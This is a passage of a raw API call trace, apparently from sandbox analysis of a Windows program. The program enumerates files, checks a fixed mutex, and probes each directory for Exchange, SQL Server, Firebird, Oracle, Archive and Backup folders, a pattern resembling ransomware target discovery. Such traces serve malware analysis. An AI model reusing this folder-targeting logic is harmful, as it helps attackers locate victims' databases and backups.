ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0058.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.033] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.033] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.033] GlobalUnlock (hMem=0x440004) returned 0 [0058.033] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.033] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.033] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.033] GlobalUnlock (hMem=0x440004) returned 0 [0058.033] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.033] GlobalUnlock (hMem=0x44000c) returned 0 [0058.033] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.033] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.033] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.033] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.033] GlobalUnlock (hMem=0x44000c) returned 0 [0058.033] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.033] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.033] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.033] GlobalUnlock (hMem=0x44000c) returned 0 [0058.033] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.033] GlobalUnlock (hMem=0x440004) returned 0 [0058.033] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.033] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.034] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.034] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.034] GlobalUnlock (hMem=0x440004) returned 0 [0058.034] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.034] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.034] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.034] GlobalUnlock (hMem=0x440004) returned 0 [0058.034] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.034] GlobalUnlock (hMem=0x44000c) returned 0 [0058.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.034] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.034] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.034] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.034] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.034] GlobalUnlock (hMem=0x44000c) returned 0 [0058.034] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.034] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.034] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.034] GlobalUnlock (hMem=0x44000c) returned 0 [0058.034] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.034] GlobalUnlock (hMem=0x440004) returned 0 [0058.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.034] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.034] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.035] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.035] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.035] GlobalUnlock (hMem=0x440004) returned 0 [0058.035] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.035] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.035] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.035] GlobalUnlock (hMem=0x440004) returned 0 [0058.035] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.035] GlobalUnlock (hMem=0x44000c) returned 0 [0058.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.035] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.035] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.035] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.035] GlobalUnlock (hMem=0x44000c) returned 0 [0058.035] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.035] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.035] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.035] GlobalUnlock (hMem=0x44000c) returned 0 [0058.035] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.035] GlobalUnlock (hMem=0x440004) returned 0 [0058.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.035] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.036] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.036] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.036] GlobalUnlock (hMem=0x440004) returned 0 [0058.036] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.036] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.036] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.036] GlobalUnlock (hMem=0x440004) returned 0 [0058.036] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.036] GlobalUnlock (hMem=0x44000c) returned 0 [0058.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.036] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0058.036] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.036] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.036] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.036] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.036] GlobalUnlock (hMem=0x44000c) returned 0 [0058.036] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.036] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.036] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.036] GlobalUnlock (hMem=0x44000c) returned 0 [0058.036] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.036] GlobalUnlock (hMem=0x440004) returned 0 [0058.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.036] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0058.036] GetLastError () returned 0x12 [0058.037] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.037] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0058.037] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.037] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.037] GlobalLock (hMem=0x440004) returned 0x550170 [0058.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.037] GlobalUnlock (hMem=0x440004) returned 0 [0058.037] GlobalLock (hMem=0x440004) returned 0x550170 [0058.037] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.037] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.037] GlobalUnlock (hMem=0x440004) returned 0 [0058.037] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.037] GlobalUnlock (hMem=0x44000c) returned 0 [0058.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.037] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.037] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.038] GlobalUnlock (hMem=0x44000c) returned 0 [0058.038] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.038] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.038] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.038] GlobalUnlock (hMem=0x44000c) returned 0 [0058.038] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.038] GlobalUnlock (hMem=0x440004) returned 0 [0058.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.038] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance", len=0x37 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance") returned 1 [0058.038] GlobalLock (hMem=0x440004) returned 0x550170 [0058.038] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.038] GlobalUnlock (hMem=0x440004) returned 0 [0058.038] GlobalLock (hMem=0x440004) returned 0x550170 [0058.038] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.038] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.038] GlobalUnlock (hMem=0x440004) returned 0 [0058.038] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.038] GlobalUnlock (hMem=0x44000c) returned 0 [0058.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볰R별R企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0058.041] GetLastError () returned 0x3 [0058.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뱔R企@\x18䃄Q\x181")) returned 0xffffffff [0058.043] GetLastError () returned 0x2 [0058.043] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0058.045] GetLastError () returned 0x2 [0058.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0058.047] GetLastError () returned 0x2 [0058.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뱔R企@\x18뭼R\x18j")) returned 0xffffffff [0058.048] GetLastError () returned 0x2 [0058.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0058.050] GetLastError () returned 0x2 [0058.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0058.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0058.051] GetLastError () returned 0x2 [0058.051] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0058.053] GetLastError () returned 0x2 [0058.053] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0058.054] GetLastError () returned 0x2 [0058.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Reserv", lpFindFileData=0x18e840 | out: 